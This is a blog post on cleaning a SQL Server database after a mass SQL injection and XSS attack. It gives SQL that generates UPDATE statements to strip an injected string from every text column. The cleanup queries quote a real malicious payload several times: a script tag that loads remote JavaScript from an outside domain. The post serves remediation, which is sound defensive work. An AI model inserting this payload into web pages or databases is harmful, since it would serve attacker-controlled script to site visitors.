In my previous post, What is a SQL Injection Attack, I gave a brief overview of SQL injection and Cross-Site Scripting (XSS), primarily with regard to websites. In the example given, we saw that an attack could take the form of a ‘hacked’ URL which contained either a literal SQL statement, or a hexadecimal string that could be interpreted by an insecure SQL database server.
Which ever method is used to inject SQL and ultimately dangerous scripts into the database, we need to know how to deal with the problem and ‘roll it back’ to a safe state.
If you have an up-to-date backup of the database prior to the attack, then restoring the database is the best course of action. If this is not the case, apart from giving yourself a kick for not implementing a backup policy, it is possible to programatically remove the injected string or code using a set of relatively-simple SQL queries.
Programatically Replace Injected Code
Fortunately, by the very nature of an XSS attack, code is appended to the data already in the database — rather than replacing it — which means we simply need to remove the appended content.
Taking a real-world example, below is string that was injected into the database:
With the example above, we can use the following script to recurse through and create update scripts for every ‘infected’ table and column (of the type
nvarchar), in the database.
SELECT 'UPDATE [' + table_name + '] SET ' + column_name + ' = REPLACE(CAST(' + column_name + ' as varchar(8000)), ''"></title><script src="http://1.verynx.cn/w.js"></script><!--'', '''') WHERE ' + column_name + ' LIKE ''%"></title><script src="http://1.verynx.cn/w.js"></script><!--%''' FROM information_schema.columns WHERE (character_maximum_length is not NULL) AND ([table_name] not like 'dt%') AND ([table_name] not like 'sys%')
The resultset then produces update statements that look like the following (I have masked the actual table and column names):
UPDATE [tableName] SET columnName = REPLACE(CAST(columnName AS VARCHAR(8000)), '"></title><script src="http://1.verynx.cn/w.js"></script><!--', '') WHERE columnName LIKE '%"></title><script src="http://1.verynx.cn/w.js"></script><!--%'
These update statements can be copied into and run in a program such as Query Analyser for Microsoft SQL Server 2000, or SQL Server Management Studio for Microsoft SQL 2005.
If the actual code that was injected is different, simply change the above code to suit your needs.
You can download the SQL rollback script for your own needs.
Prevent a Successful Attack
As the popular idiom goes
prevention is better than a cure, I will discuss in my next post how to mitigate against SQL Injection attacks — on ColdFusion-based websites — before they become a problem.